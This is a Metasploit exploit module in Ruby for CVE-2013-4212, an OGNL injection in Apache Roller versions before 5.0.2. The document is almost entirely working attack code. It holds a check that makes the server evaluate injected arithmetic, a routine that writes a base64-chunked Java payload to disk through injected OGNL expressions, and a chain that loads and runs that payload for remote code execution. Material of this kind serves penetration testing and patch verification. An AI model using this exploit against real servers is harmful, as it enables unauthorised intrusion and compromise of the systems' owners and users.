Apache Roller OGNL Injection Exploit

:
28.11.2013
:
Apache Roller < 5.0.2
:
:
Apache Roller

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Roller OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
vulnerability is due to an OGNL injection on the UIAction controller because of an
insecure usage of the ActionSupport.getText method. This module has been tested
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
},
'Author' =>
[
'Unknown', # From coverity.com / Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4212'],
[ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' =>
[
[ 'Apache Roller 5.0.1', { } ]
],
'DisclosureDate' => 'Oct 31 2013',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])
], self.class)
end

def execute_command(cmd)
injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"
injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

vprint_status("Attempting to execute: #{cmd}")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
'encode_params' => false,
'vars_get' =>
{
'pageTitle' => injection
}
})
end

def java_upload_part(part, filename, append = 'false')
cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close(),#a='#{@random_suffix}'"
execute_command(cmd)
end

def exploit

print_status("Checking injection...")

if check == Exploit::CheckCode::Vulnerable
print_good("Target looks vulnerable, exploiting...")
else
print_warning("Target not found as vulnerable, trying anyway...")
end

@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
append = 'false'
jar = payload.encoded_jar.pack

File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end

chunk_length = 384 # 512 bytes when base64 encoded

parts = jar.chars.each_slice(chunk_length).map(&:join)
parts.each do |part|
java_upload_part(part, @payload_exe, append)
append = 'true'
end

register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}")

cmd = ""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd << "#q.setAccessible(true),#q.set(null,true),"
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd << "#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}',"
# load class
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end

def check
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
'vars_get' =>
{
'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",
}
})

if res and res.code == 200 and res.body =~ /#{sum}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

end